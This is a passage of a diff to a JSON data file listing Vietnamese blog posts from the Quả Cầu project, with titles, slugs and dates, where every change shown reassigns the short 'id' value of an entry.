"2020-05-26T17:09:06.000Z", "Ngày cập nhật": "2022-03-31T15:51:35.000Z", - "id": "g_" + "id": "ks" }, { "Tiêu đề": "12 người đàn ông giận dữ", @@ -44179,7 +47834,7 @@ "Slug": "12-nguoi-dan-ong-gian-du", "Ngày tạo": "2020-05-26T15:21:06.000Z", "Ngày cập nhật": "2021-07-12T17:36:35.000Z", - "id": "h0" + "id": "kt" }, { "Tiêu đề": "Sự bất lực học được là gì?", @@ -44192,7 +47847,7 @@ "Slug": "su-bat-luc-hoc-duoc", "Ngày tạo": "2020-05-26T16:47:00.000Z", "Ngày cập nhật": "2021-09-26T14:47:17.000Z", - "id": "h1" + "id": "ku" }, { "Tiêu đề": "Tại sao không nên dùng ngực thay cho vú?", @@ -44205,7 +47860,7 @@ "Slug": "tai-sao-khong-nen-dung-nguc-thay-cho-vu", "Ngày tạo": "2020-05-26T18:41:04.000Z", "Ngày cập nhật": "2022-04-22T18:24:21.000Z", - "id": "h2" + "id": "kv" }, { "Tiêu đề": "Chị Nguyễn Đan Khanh gửi: hãy giữ niềm tin sống như một người trẻ mới bước vào đời", @@ -44218,7 +47873,7 @@ "Slug": "chi-nguyen-dan-khanh-gui-hay-giu-niem-tin-song-nhu-mot-nguoi-tre-moi-buoc-vao-doi", "Ngày tạo": "2020-05-26T18:53:51.000Z", "Ngày cập nhật": "2021-02-24T15:09:35.000Z", - "id": "h3" + "id": "kw" }, { "Tiêu đề": "Đạo không thể giải thích được qua sự độc thoại, nhưng có thể thấy nó được qua sự đối thoại", @@ -44231,7 +47886,7 @@ "Slug": "dao-khong-the-giai-thich-duoc-qua-su-doc-thoai-nhung-co-the-thay-no-duoc-qua-su-doi-thoai", "Ngày tạo": "2020-05-27T12:55:44.000Z", "Ngày cập nhật": "2020-06-21T09:54:09.000Z", - "id": "h4" + "id": "kx" }, { "Tiêu đề": "Cảm xúc trong mỹ học", @@ -44244,7 +47899,7 @@ "Slug": "cam-xuc-trong-my-hoc", "Ngày tạo": "2020-06-01T10:15:31.000Z", "Ngày cập nhật": "2021-02-23T13:22:16.000Z", - "id": "h5" + "id": "ky" }, { "Tiêu đề": "Vượn trần trụi - Vườn thú người", @@ -44257,7 +47912,7 @@ "Slug": "vuon-tran-trui-vuon-thu-nguoi", "Ngày tạo": "2020-06-01T10:17:46.000Z", "Ngày cập nhật": "2021-02-23T13:04:28.000Z", - "id": "h6" + "id": "kz" }, { "Tiêu đề": "Những bức ảnh muốn gì?", @@ -44270,7 +47925,7 @@ "Slug": "nhung-buc-anh-muon-gi", "Ngày tạo": "2020-06-02T06:46:48.000Z", "Ngày cập nhật": "2021-03-31T12:41:07.000Z", - "id": "h7" + "id": "k-" }, { "Tiêu đề": "Một suy nghĩ về sự cộng hưởng", @@ -44283,7 +47938,7 @@ "Slug": "mot-suy-nghi-ve-su-cong-huong", "Ngày tạo": "2020-06-06T11:34:59.000Z", "Ngày cập nhật": "2021-02-23T13:27:59.000Z", - "id": "h8" + "id": "k_" }, { "Tiêu đề": "Kinh nghiệm dịch: google thuật ngữ tiếng Việt", @@ -44296,7 +47951,7 @@ "Slug": "kinh-nghiem-google-thuat-ngu", "Ngày tạo": "2020-06-07T08:09:32.000Z", "Ngày cập nhật": "2020-10-19T06:16:39.000Z", - "id": "h9" + "id": "l0" }, { "Tiêu đề": "Kinh nghiệm dịch: công cụ dịch", @@ -44309,7 +47964,7 @@ "Slug": "kinh-nghiem-dich-cong-cu-dich", "Ngày tạo": "2020-06-07T08:16:15.000Z", "Ngày cập nhật": "2020-10-19T06:38:12.000Z", - "id": "hA" + "id": "l1" }, { "Tiêu đề": "Tại sao cảm xúc không phải là đúng nhất?", @@ -44322,7 +47977,7 @@ "Slug": "tai-sao-cam-xuc-khong-phai-la-dung-nhat", "Ngày tạo": "2020-06-20T09:00:23.000Z", "Ngày cập nhật": "2021-02-23T13:22:45.000Z", - "id": "hB" + "id": "l2" }, { "Tiêu đề": "Tại sao cái đẹp không nhất thiết đi cùng với cái tốt?", @@ -44335,7 +47990,7 @@ "Slug": "tai-sao-cai-dep-khong-nhat-thiet-di-cung-voi-cai-tot", "Ngày tạo": "2020-06-20T12:58:39.000Z", "Ngày cập nhật": "2021-03-22T13:05:54.000Z", - "id": "hC" + "id": "l3" }, { "Tiêu đề": "Khi sự bất lực trở thành cái đẹp", @@ -44348,7 +48003,7 @@ "Slug": "khi-su-bat-luc-tro-thanh-cai-dep", "Ngày tạo": "2020-06-20T14:17:40.000Z", "Ngày cập nhật": "2020-11-05T17:55:45.000Z", - "id": "hD" + "id": "l4" }, { "Tiêu đề": "Khi sự nuông chiều trở thành cái \"đẹp\"", @@ -44361,7 +48016,7 @@ "Slug": "khi-su-nuong-chieu-tro-thanh-cai-dep", "Ngày tạo": "2020-06-20T14:37:20.000Z", "Ngày cập nhật": "2021-02-23T13:30:00.000Z", - "id": "hE" + "id": "l5" }, { "Tiêu đề": "Ai nhớ ngàn năm một ngón tay", @@ -44374,7 +48029,7 @@ "Slug": "ai-nho-ngan-nam-mot-ngon-tay", "Ngày tạo": "2020-06-20T15:51:50.000Z", "Ngày cập nhật": "2020-06-29T18:32:48.000Z", - "id": "hF" + "id": "l6" }, { "Tiêu đề": "Hiện tượng đồng âm khác nghĩa, đồng nghĩa khác âm, và đảo nghĩa trong quá trình hình thành niềm tin: 2", @@ -44387,7 +48042,7 @@ "Slug": "hien-tuong-dong-am-khac-nghia-2", "Ngày tạo": "2020-06-21T09:48:15.000Z", "Ngày cập nhật": "2021-05-08T08:34:01.000Z", - "id": "hG" + "id": "l7" }, { "Tiêu đề": "Naïve realism và người sử dụng logic", @@ -44400,7 +48055,7 @@ "Slug": "naive-realism-va-nguoi-su-dung-logic", "Ngày tạo": "2020-06-29T18:09:06.000Z", "Ngày cập nhật": "2021-02-24T08:10:27.000Z", - "id": "hH" + "id": "l8" }, { "Tiêu đề": "Chọn làm điều đúng hay chọn làm điều tốt?", @@ -44413,7 +48068,7 @@ "Slug": "chon-lam-dieu-dung-hay-chon-lam-dieu-tot", "Ngày tạo": "2020-07-15T17:56:12.000Z", "Ngày cập nhật": "2021-03-08T17:53:53.000Z", - "id": "hI" + "id": "l9" }, { "Tiêu đề": "Bạn ngoen gửi: Chuyện Lão Ong", @@ -44426,7 +48081,7 @@ "Slug": "ban-ngoen-gui-chuyen-lao-ong", "Ngày tạo": "2020-07-19T16:52:41.000Z", "Ngày cập nhật": "2021-02-24T08:08:00.000Z", - "id": "hJ" + "id": "lA" }, { "Tiêu đề": "Lời mời khơi dậy sự hồn nhiên và lòng dũng cảm ở một con người", @@ -44439,7 +48094,7 @@ "Slug": "loi-moi-khoi-day-su-hon-nhien-va-long-dung-cam-o-mot-con-nguoi", "Ngày tạo": "2020-07-22T09:27:40.000Z", "Ngày cập nhật": "2021-08-06T12:25:03.000Z", - "id": "hK" + "id": "lB" }, { "Tiêu đề": "Não của bạn đã ngăn bạn xem việc biến đổi khí hậu là nghiêm trọng như thế nào?", @@ -44452,7 +48107,7 @@ "Slug": "nao-cua-ban-da-ngan-ban-xem-viec-bien-doi-khi-hau-la-nghiem-trong-nhu-the-nao", "Ngày tạo": "2020-07-22T11:13:36.000Z", "Ngày cập nhật": "2021-09-24T15:31:44.000Z", - "id": "hL" + "id": "lC" }, { "Tiêu đề": "Lời mời phản biện và hợp tác nghiên cứu", @@ -44465,7 +48120,7 @@ "Slug": "loi-moi-phan-bien-va-hop-tac-nghien-cuu", "Ngày tạo": "2020-07-30T07:35:10.000Z", "Ngày cập nhật": "2021-12-21T09:17:52.000Z", - "id": "hM" + "id": "lD" }, { "Tiêu đề": "Bản kế hoạch hành động dự án Quả Cầu", @@ -44478,7 +48133,7 @@ "Slug": "ban-ke-hoach-hanh-dong-du-an-qua-cau", "Ngày tạo": "2020-08-14T12:36:59.000Z", "Ngày cập nhật": "2023-07-03T13:59:11.000Z", - "id": "hN" + "id": "lE" }, { "Tiêu đề": "Giải đáp chất vấn", @@ -44491,7 +48146,7 @@ "Slug": "giai-dap-chat-van", "Ngày tạo": "2020-08-18T11:44:54.000Z", "Ngày cập nhật": "2022-03-17T09:33:10.000Z", - "id": "hO" + "id": "lF" }, { "Tiêu đề": "Thay đổi niềm tin của người có niềm tin tiêu cực: rào cản và giải pháp", @@ -44504,7 +48159,7 @@ "Slug": "thay-doi-niem-tin-cua-nguoi-co-niem-tin-tieu-cuc", "Ngày tạo": "2020-08-27T14:08:00.000Z", "Ngày cập nhật": "2021-05-12T07:35:43.000Z", - "id": "hP" + "id": "lG" }, { "Tiêu đề": "Bạn nghĩ gì về Quả Cầu?", @@ -44517,7 +48172,7 @@ "Slug": "ban-nghi-gi-ve-qua-cau", "Ngày tạo": "2020-09-06T05:23:11.000Z", "Ngày cập nhật": "2021-05-21T18:43:19.000Z", - "id": "hQ" + "id": "lH" }, { "Tiêu đề": "Tại sao những sự bất tiện nhỏ, chứ không phải bức tường lớn, lại là thứ định hướng hành vi trên mạng?", @@ -44530,7 +48185,7 @@ "Slug": "dinh-huong-hanh-vi-tren-mang", "Ngày tạo": "2020-09-10T16:10:52.000Z", "Ngày cập nhật": "2021-02-24T15:07:48.000Z", - "id": "hR" + "id": "lI" }, { "Tiêu đề": "Một quan điểm về loại bỏ từ Hán Việt trong tiếng Việt", @@ -44543,7 +48198,7 @@ "Slug": "loai-bo-tu-han-viet", "Ngày tạo": "2020-09-16T16:06:40.000Z", "Ngày cập nhật": "2024-02-18T16:05:05.000Z", - "id": "hS" + "id": "lJ" }, { "Tiêu đề": "Thông tin ủng hộ", @@ -44556,7 +48211,7 @@ "Slug": "ung-ho", "Ngày tạo": "2020-10-09T09:12:21.000Z", "Ngày cập nhật": "2022-03-19T10:14:36.000Z", - "id": "hT" + "id": "lK" }, { "Tiêu đề": "Cá trích đỏ trong toán học", @@ -44569,7 +48224,7 @@ "Slug": "ca-trich-do-trong-toan-hoc", "Ngày tạo": "2020-10-15T07:01:39.000Z", "Ngày cập nhật": "2021-09-10T17:31:38.000Z", - "id": "hU" + "id": "lL" }, { "Tiêu đề": "Ý tưởng nền tảng dịch thuật ngữ", @@ -44582,7 +48237,7 @@ "Slug": "y-tuong-nen-tang-dich-thuat-ngu", "Ngày tạo": "2020-10-17T08:21:38.000Z", "Ngày cập nhật": "2021-12-02T09:07:39.000Z", - "id": "hV" + "id": "lM" }, { "Tiêu đề": "Độc giả Quả Cầu nói gì?", @@ -44595,7 +48250,7 @@ "Slug": "doc-gia-qua-cau-noi-gi", "Ngày tạo": "2020-11-02T11:22:22.000Z", "Ngày cập nhật": "2021-06-17T18:51:46.000Z", - "id": "hW" + "id": "lN" }, { "Tiêu đề": "Clip về bạo hành, bắt nạt, và quấy rối", @@ -44608,7 +48263,7 @@ "Slug": "clip-ve-bao-hanh-bat-nat-va-quay-roi", "Ngày tạo": "2020-11-04T17:48:02.000Z", "Ngày cập nhật": "2021-02-22T17:39:45.000Z", - "id": "hX" + "id": "lO" }, { "Tiêu đề": "Tại sao nói tự nhiên giao cho con người công việc phá hủy nó? (nháp)", @@ -44621,7 +48276,7 @@ "Slug": "tai-sao-noi-tu-nhien-giao-cho-con-nguoi-cong-viec-pha-huy-no", "Ngày tạo": "2020-11-08T06:26:21.000Z", "Ngày cập nhật": "2021-02-23T16:29:53.000Z", - "id": "hY" + "id": "lP" }, { "Tiêu đề": "Liệu sự thao túng là luôn sai?", @@ -44634,7 +48289,7 @@ "Slug": "lieu-su-thao-tung-la-luon-sai", "Ngày tạo": "2020-12-01T06:51:33.000Z", "Ngày cập nhật": "2021-02-23T16:29:42.000Z", - "id": "hZ" + "id": "lQ" }, { "Tiêu đề": "Liệu sự yêu cầu về sự đồng thuận có thực sự có cơ sở?", @@ -44647,7 +48302,7 @@ "Slug": "lieu-su-yeu-cau-ve-su-dong-thuan-co-thuc-su-co-co-so", "Ngày tạo": "2020-12-01T07:30:26.000Z", "Ngày cập nhật": "2021-02-23T16:29:33.000Z", - "id": "ha" + "id": "lR" }, { "Tiêu đề": "Tại sao mong muốn của một người không nhất thiết là sự tự chủ của người đó?", @@ -44660,7 +48315,7 @@ "Slug": "khi-nao-thi-mong-muon-cua-mot-nguoi-la-su-tu-chu-cua-nguoi-do", "Ngày tạo": "2020-12-01T08:32:35.000Z", "Ngày cập nhật": "2021-02-23T16:29:20.000Z", - "id": "hb" + "id": "lS" }, { "Tiêu đề": "Hỗ trợ người gây bạo hành: liệu ta có đang bỏ qua một nguồn lực quan trọng nhất?", @@ -44673,7 +48328,7 @@ "Slug": "ho-tro-nguoi-gay-bao-hanh", "Ngày tạo": "2020-12-13T13:47:34.000Z", "Ngày cập nhật": "2021-07-14T04:56:39.000Z", - "id": "hc" + "id": "lT" }, { "Tiêu đề": "Khi nào thì sự từ chối trợ giúp của một người không có hiệu lực?", @@ -44686,7 +48341,7 @@ "Slug": "khi-nao-thi-su-tu-choi-tro-giup-cua-mot-nguoi-khong-co-hieu-luc", "Ngày tạo": "2020-12-13T14:23:38.000Z", "Ngày cập nhật": "2021-02-22T17:38:04.000Z", - "id": "hd" + "id": "lU" }, { "Tiêu đề": "Hiện tượng đồng âm khác nghĩa, đồng nghĩa khác âm, và đảo nghĩa trong quá trình hình thành niềm tin", @@ -44699,7 +48354,7 @@ "Slug": "hien-tuong-dong-am-khac-nghia-1", "Ngày tạo": "2020-12-30T12:13:47.000Z", "Ngày cập nhật": "2021-05-27T18:01:27.000Z", - "id": "he" + "id": "lV" }, { "Tiêu đề": "Hiện tượng đồng âm khác nghĩa, đồng nghĩa khác âm, và đảo nghĩa trong quá trình hình thành niềm tin: 3", @@ -44712,7 +48367,7 @@ "Slug": "hien-tuong-dong-am-khac-nghia-3", "Ngày tạo": "2020-12-30T13:18:12.000Z", "Ngày cập nhật": "2021-05-13T10:22:09.000Z", - "id": "hf" + "id": "lW" }, { "Tiêu đề": "Bản câu hỏi dành cho người muốn thay đổi quan niệm của bạn mình", @@ -44725,7 +48380,7 @@ "Slug": "ban-cau-hoi-danh-cho-nguoi-muon-thay-doi-quan-niem-cua-ban-minh", "Ngày tạo": "2021-01-19T17:33:21.000Z", "Ngày cập nhật": "2021-07-14T10:57:14.000Z", - "id": "hg" + "id": "lX" }, { "Tiêu đề": "Cảm ơn bạn đã ủng hộ Quả Cầu", @@ -44738,7 +48393,7 @@ "Slug": "cam-on-ban-da-ung-ho-qua-cau", "Ngày tạo": "2020-01-22T11:47:00.000Z", "Ngày cập nhật": "2021-01-22T11:49:25.000Z", - "id": "hh" + "id": "lY" }, { "Tiêu đề": "Lời mời cùng dịch các bài viết về tự trị", @@ -44751,7 +48406,7 @@ "Slug": "loi-moi-cung-dich-cac-bai-viet-ve-tu-tri", "Ngày tạo": "2021-02-21T02:05:29.000Z", "Ngày cập nhật": "2021-08-11T17:52:48.000Z", - "id": "hi" + "id": "lZ" }, { "Tiêu đề": "Là dơi thì như thế nào?", @@ -44764,7 +48419,7 @@ "Slug": "la-doi-thi-nhu-the-nao", "Ngày tạo": "2021-02-21T10:04:34.000Z", "Ngày cập nhật": "2021-02-21T12:38:57.000Z", - "id": "hj" + "id": "la" }, { "Tiêu đề": "Lý thuyết về góc nhìn", @@ -44777,7 +48432,7 @@ "Slug": "ly-thuyet-ve-goc-nhin", "Ngày tạo": "2021-02-21T13:00:25.000Z", "Ngày cập nhật": "2021-02-24T15:41:22.000Z", - "id": "hk" + "id": "lb" }, { "Tiêu đề": "Test", @@ -44790,7 +48445,7 @@ "Slug": "test", "Ngày tạo": "2019-02-24T11:16:00.000Z", "Ngày cập nhật": "2021-03-02T10:48:52.000Z", - "id": "hl" + "id": "lc" }, { "Tiêu đề": "Những hashtag chính trị như #MeToo hay #BlackLivesMatter có thể khiến mọi người ít tin vào tin tức hơn", @@ -44803,7 +48458,7 @@ "Slug": "hashtag-khien-moi-nguoi-it-tin-vao-tin-tuc-hon", "Ngày tạo": "2021-03-22T09:09:50.000Z", "Ngày cập nhật": "2021-04-08T17:25:37.000Z", - "id": "hm" + "id": "ld" }, { "Tiêu đề": "Khảo sát thành viên nhóm Nghiên cứu triết học phương Đông", @@ -44816,7 +48471,7 @@ "Slug": "khao-sat-thanh-vien-nhom-nghien-cuu-triet-hoc-phuong-dong", "Ngày tạo": "2021-03-31T18:16:54.000Z", "Ngày cập nhật": "2021-05-27T15:54:09.000Z", - "id": "hn" + "id": "le" }, { "Tiêu đề": "Toán học còn có nhiều thứ hơn là mỗi sự chặt chẽ và chứng minh", @@ -44829,7 +48484,7 @@ "Slug": "toan-hoc-con-co-nhieu-thu-hon-la-moi-su-chat-che-va-chung-minh", "Ngày tạo": "2021-04-08T09:32:44.000Z", "Ngày cập nhật": "2021-04-28T07:55:31.000Z", - "id": "ho" + "id": "lf" }, { "Tiêu đề": "Những câu hỏi về nữ quyền", @@ -44842,7 +48497,7 @@ "Slug": "nhung-cau-hoi-ve-nu-quyen", "Ngày tạo": "2021-04-09T08:22:20.000Z", "Ngày cập nhật": "2021-10-16T07:54:09.000Z", - "id": "hp" + "id": "lg" }, { "Tiêu đề": "Nước cờ thông minh: chúng ta học được nhiều hơn bằng việc tin tưởng hơn là không tin", @@ -44855,7 +48510,7 @@ "Slug": "chung-ta-hoc-duoc-nhieu-hon-bang-viec-tin-tuong-hon-la-khong-tin", "Ngày tạo": "2021-04-14T09:17:47.000Z", "Ngày cập nhật": "2022-03-06T15:19:11.000Z", - "id": "hq" + "id": "lh" }, { "Tiêu đề": "Tổng hợp một số nghịch lý", @@ -44868,7 +48523,7 @@ "Slug": "tong-hop-mot-so-nghich-ly", "Ngày tạo": "2021-04-15T11:21:52.000Z", "Ngày cập nhật": "2021-04-15T11:31:53.000Z", - "id": "hr" + "id": "li" }, { "Tiêu đề": "Câu chuyện Người mù sờ voi: những góc nhìn chưa từng có", @@ -44881,7 +48536,7 @@ "Slug": "nguoi-mu-so-voi", "Ngày tạo": "2021-04-17T09:31:39.000Z", "Ngày cập nhật": "2022-12-22T14:12:59.000Z", - "id": "hs" + "id": "lj" }, { "Tiêu đề": "Hoàng Lan", @@ -44894,7 +48549,7 @@ "Slug": "hoang-lan", "Ngày tạo": "2021-04-27T17:04:00.000Z", "Ngày cập nhật": "2021-04-27T17:24:42.000Z", - "id": "ht" + "id": "lk" }, { "Tiêu đề": "Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực", @@ -44907,7 +48562,7 @@ "Slug": "mang-luoi-nguoi-than-ban-be-nguoi-co-niem-tin-tieu-cuc", "Ngày tạo": "2021-05-01T11:48:15.000Z", "Ngày cập nhật": "2022-01-01T16:00:53.000Z", - "id": "hu" + "id": "ll" }, { "Tiêu đề": "Thông tin liên hệ", @@ -44920,7 +48575,7 @@ "Slug": "lien-he", "Ngày tạo": "2021-05-18T07:38:51.000Z", "Ngày cập nhật": "2022-03-20T17:14:12.000Z", - "id": "hv" + "id": "lm" }, { "Tiêu đề": "Khảo sát quan điểm về sự tác động", @@ -44933,7 +48588,7 @@ "Slug": "khao-sat-quan-diem-ve-su-tac-dong", "Ngày tạo": "2020-05-21T15:30:00.000Z", "Ngày cập nhật": "2021-07-15T12:29:49.000Z", - "id": "hw" + "id": "ln" }, { "Tiêu đề": "Phiếu đăng ký tham gia Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực", @@ -44946,7 +48601,7 @@ "Slug": "dang-ky-tham-gia-mang-luoi", "Ngày tạo": "2020-05-21T15:33:00.000Z", "Ngày cập nhật": "2021-09-04T10:35:33.000Z", - "id": "hx" + "id": "lo" }, { "Tiêu đề": "Khảo sát người tu tập Phật giáo", @@ -44959,7 +48614,7 @@ "Slug": "khao-sat-nguoi-tu-tap-phat-giao", "Ngày tạo": "2020-05-22T08:42:00.000Z", "Ngày cập nhật": "2021-09-10T10:11:40.000Z", - "id": "hy" + "id": "lp" }, { "Tiêu đề": "Nhờ người thứ 3 tác động người có niềm tin tiêu cực", @@ -44972,7 +48627,7 @@ "Slug": "nho-nguoi-thu-3-tac-dong-nguoi-co-niem-tin-tieu-cuc", "Ngày tạo": "2021-05-27T11:41:47.000Z", "Ngày cập nhật": "2021-08-06T12:44:44.000Z", - "id": "hz" + "id": "lq" }, { "Tiêu đề": "4 câu hỏi để giúp người khác thay đổi tốt hơn (Phỏng vấn tạo động lực)", @@ -44985,7 +48640,7 @@ "Slug": "phong-van-tao-dong-luc", "Ngày tạo": "2021-06-05T03:49:49.000Z", "Ngày cập nhật": "2021-08-06T11:10:19.000Z", - "id": "h-" + "id": "lr" }, { "Tiêu đề": "Chấp thuận sau khi được giải thích", @@ -44998,7 +48653,7 @@ "Slug": "chap-thuan-sau-khi-duoc-giai-thich", "Ngày tạo": "2021-06-11T08:57:30.000Z", "Ngày cập nhật": "2021-08-15T14:13:25.000Z", - "id": "h_" + "id": "ls" }, { "Tiêu đề": "Các câu hỏi thường gặp", @@ -45011,7 +48666,7 @@ "Slug": "cac-cau-hoi-thuong-gap", "Ngày tạo": "2021-06-16T16:31:41.000Z", "Ngày cập nhật": "2022-08-14T13:05:55.000Z", - "id": "i0" + "id": "lt" }, { "Tiêu đề": "Lộ trình thay đổi người có niềm tin tiêu cực", @@ -45024,7 +48679,7 @@ "Slug": "lo-trinh-thay-doi-nguoi-co-niem-tin-tieu-cuc", "Ngày tạo": "2021-06-27T08:00:00.000Z", "Ngày cập nhật": "2022-04-10T16:24:13.000Z", - "id": "i1" + "id": "lu" }, { "Tiêu đề": "Giới thiệu người sáng lập", @@ -45037,7 +48692,7 @@ "Slug": "gioi-thieu-nguoi-sang-lap", "Ngày tạo": "2021-08-04T11:16:45.000Z", "Ngày cập nhật": "2022-06-07T18:46:09.000Z", - "id": "i2" + "id": "lv" }, { "Tiêu đề": "Sự tối ưu hoá trong vũ trụ", @@ -45050,7 +48705,7 @@ "Slug": "su-toi-uu-hoa-trong-vu-tru", "Ngày tạo": "2021-08-04T11:04:11.000Z", "Ngày cập nhật": "2021-08-04T11:06:27.000Z", - "id": "i3" + "id": "lw" }, { "Tiêu đề": "Né tránh bằng tâm linh (spiritual bypassing)", @@ -45063,7 +48718,7 @@ "Slug": "ne-tranh-bang-tam-linh-spiritual-bypassing", "Ngày tạo": "2021-08-06T16:09:34.000Z", "Ngày cập nhật": "2021-08-06T16:09:40.000Z", - "id": "i4" + "id": "lx" }, { "Tiêu đề": "Về nguỵ biện", @@ -45076,7 +48731,7 @@ "Slug": "ve-nguy-bien", "Ngày tạo": "2021-08-09T09:02:13.000Z", "Ngày cập nhật": "2021-08-09T09:37:26.000Z", - "id": "i5" + "id": "ly" }, { "Tiêu đề": "Sự riêng tư", @@ -45089,7 +48744,7 @@ "Slug": "su-rieng-tu", "Ngày tạo": "2021-08-11T17:45:52.000Z", "Ngày cập nhật": "2021-08-15T14:19:02.000Z", - "id": "i6" + "id": "lz" }, { "Tiêu đề": "Bộ quy tắc đạo đức cho thành viên Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực", @@ -45102,7 +48757,7 @@ "Slug": "bo-quy-tac-dao-duc", "Ngày tạo": "2021-09-03T11:32:10.000Z", "Ngày cập nhật": "2021-09-04T10:44:21.000Z", - "id": "i7" + "id": "l-" }, { "Tiêu đề": "Tên miền có dấu?", @@ -45115,7 +48770,7 @@ "Slug": "ten-mien-co-dau", "Ngày tạo": "2021-09-08T07:45:08.000Z", "Ngày cập nhật": "2021-12-14T15:47:41.000Z", - "id": "i8" + "id": "l_" }, { "Tiêu đề": "Sao mà hỏi lắm thế?", @@ -45128,7 +48783,7 @@ "Slug": "sao-ma-hoi-lam-the", "Ngày tạo": "2021-09-19T18:20:08.000Z", "Ngày cập nhật": "2022-08-05T14:01:36.000Z", - "id": "i9" + "id": "m0" }, { "Tiêu đề": "\"The best way to learn vocabulary is from context.\" Why is that sometime not true?", @@ -45141,7 +48796,7 @@ "Slug": "learn-vocab-from-context", "Ngày tạo": "2021-10-24T10:06:38.000Z", "Ngày cập nhật": "2022-07-19T17:44:36.000Z", - "id": "iA" + "id": "m1" }, { "Tiêu đề": "Phân tích một mạng lưới 100+ niềm tin", @@ -45154,7 +48809,7 @@ "Slug": "phan-tich-mot-mang-luoi-100-niem-tin", "Ngày tạo": "2022-01-01T13:23:46.000Z", "Ngày cập nhật": "2022-01-24T10:06:02.000Z", - "id": "iB" + "id": "m2" }, { "Tiêu đề": "test", @@ -45167,7 +48822,7 @@ "Slug": "test-2", "Ngày tạo": "2021-01-07T08:47:54.000Z", "Ngày cập nhật": "2022-01-23T15:12:54.000Z", - "id": "iC" + "id": "m3" }, { "Tiêu đề": "", @@ -45180,7 +48835,7 @@ "Slug": "6788-2", "Ngày tạo": "2021-01-07T09:26:00.000Z", "Ngày cập nhật": "2022-01-07T10:52:15.000Z", - "id": "iD" + "id": "m4" }, { "Tiêu đề": "Phân tích một mạng lưới 100+ niềm tin (phần 2)", @@ -45193,7 +48848,7 @@ "Slug": "phan-tich-mot-mang-luoi-100-niem-tin-phan-2", "Ngày tạo": "2022-01-22T09:16:20.000Z", "Ngày cập nhật": "2022-01-24T08:58:45.000Z", - "id": "iE" + "id": "m5" }, { "Tiêu đề": "Danh sách các niềm tin trong đồ thị mạng lưới niềm tin", @@ -45206,7 +48861,7 @@ "Slug": "danh-sach-cac-niem-tin-trong-do-thi-mang-luoi-niem-tin", "Ngày tạo": "2022-01-24T07:47:51.000Z", "Ngày cập nhật": "2022-01-24T09:46:45.000Z", - "id": "iF" + "id": "m6" }, { "Tiêu đề": "Obsidian, cây vấn đề, hệ thống quản lý công việc, và nỗi sợ chết", @@ -45219,7 +48874,7 @@ "Slug": "obsidian", "Ngày tạo": "2022-03-14T18:54:19.000Z", "Ngày cập nhật": "2022-04-12T11:20:26.000Z", - "id": "iG" + "id": "m7" }, { "Tiêu đề": "Cửa hàng", @@ -45232,7 +48887,7 @@ "Slug": "cua-hang", "Ngày tạo": "2021-03-20T14:40:00.000Z", "Ngày cập nhật": "2022-03-20T17:20:37.000Z", - "id": "iH" + "id": "m8" }, { "Tiêu đề": "Các cấp độ tham gia Quả Cầu", @@ -45245,7 +48900,7 @@ "Slug": "cac-cap-do-tham-gia-qua-cau", "Ngày tạo": "2022-04-11T10:11:14.000Z", "Ngày cập nhật": "2023-07-03T14:03:41.000Z", - "id": "iI" + "id": "m9" }, { "Tiêu đề": "Vấn đề Quả Cầu", @@ -45258,7 +48913,7 @@ "Slug": "van-de-qua-cau", "Ngày tạo": "2022-04-21T10:05:23.000Z", "Ngày cập nhật": "2022-04-21T10:33:29.000Z", - "id": "iJ" + "id": "mA" }, { "Tiêu đề": "Bản câu hỏi dành cho việc xây dựng nhóm người thân bạn bè của người có niềm tin tiêu cực", @@ -45271,7 +48926,7 @@ "Slug": "ban-cau-hoi-danh-cho-viec-xay-dung-nhom-nguoi-than-ban-be-cua-nguoi-co-niem-tin-tieu-cuc", "Ngày tạo": "2022-05-06T10:04:49.000Z", "Ngày cập nhật": "2022-05-06T10:06:14.000Z", - "id": "iK" + "id": "mB" }, { "Tiêu đề": "Về cặp phạm trù “cái phổ quát - cái đặc thù - cái đơn nhất” trong phép biện chứng của Hegel", @@ -45284,7 +48939,7 @@ "Slug": "ve-cap-pham-tru-cai-pho-quat-cai-dac-thu-cai-don-nhat-trong-phep-bien-chung-cua-hegel", "Ngày tạo": "2021-05-21T09:40:00.000Z", "Ngày cập nhật": "2022-05-21T18:03:25.000Z", - "id": "iL" + "id": "mC" }, { "Tiêu đề": "Mẹo tóm tắt các bài viết đọc chẳng hiểu gì hết", @@ -45297,7 +48952,7 @@ "Slug": "meo-tom-tat-cac-bai-viet-doc-chang-hieu-gi-het", "Ngày tạo": "2022-05-22T07:16:33.000Z", "Ngày cập nhật": "2022-05-22T08:22:51.000Z", - "id": "iM" + "id": "mD" }, { "Tiêu đề": "Hợp nhất hai cách nhìn về thông tin", @@ -45310,7 +48965,7 @@ "Slug": "hop-nhat-hai-cach-nhin-ve-thong-tin", "Ngày tạo": "2022-06-14T09:39:27.000Z", "Ngày cập nhật": "2022-06-19T13:53:46.000Z", - "id": "iN" + "id": "mE" }, { "Tiêu đề": "Một đám mây chim sáo", @@ -45323,7 +48978,7 @@ "Slug": "mot-dam-may-chim-sao", "Ngày tạo": "2022-08-09T08:56:55.000Z", "Ngày cập nhật": "2022-09-14T16:23:44.000Z", - "id": "iO" + "id": "mF" }, { "Tiêu đề": "Một đám mây chim sáo (phần 2)", @@ -45336,7 +48991,7 @@ "Slug": "mot-dam-may-chim-sao-phan-2", "Ngày tạo": "2022-09-14T16:20:45.000Z", "Ngày cập nhật": "2022-10-03T15:09:18.000Z", - "id": "iP" + "id": "mG" }, { "Tiêu đề": "Truyện ngụ ngôn về những người mong đợi", @@ -45349,7 +49004,7 @@ "Slug": "truyen-ngu-ngon-ve-nhung-nguoi-mong-doi", "Ngày tạo": "2022-10-03T14:57:51.000Z", "Ngày cập nhật": "2022-10-03T15:07:48.000Z", - "id": "iQ" + "id": "mH" }, { "Tiêu đề": "Chú thích cho bài Người mù sờ voi", @@ -45362,7 +49017,7 @@ "Slug": "chu-thich-cho-bai-nguoi-mu-so-voi", "Ngày tạo": "2022-12-22T14:15:19.000Z", "Ngày cập nhật": "2022-12-22T14:20:35.000Z", - "id": "iR" + "id": "mI" }, { "Tiêu đề": "Khảo sát người dùng vault Nhập môn Obsidian", @@ -45375,7 +49030,7 @@ "Slug": "khao-sat-nguoi-dung-vault-nhap-mon-obsidian", "Ngày tạo": "2023-02-06T09:55:53.000Z", "Ngày cập nhật": "2023-02-06T09:56:16.000Z", - "id": "iS" + "id": "mJ" }, { "Tiêu đề": "Truyện Ngụ Ngôn về Người Nhật – Phần Một (chưa chắc có Phần Hai)", @@ -45388,7 +49043,7 @@ "Slug": 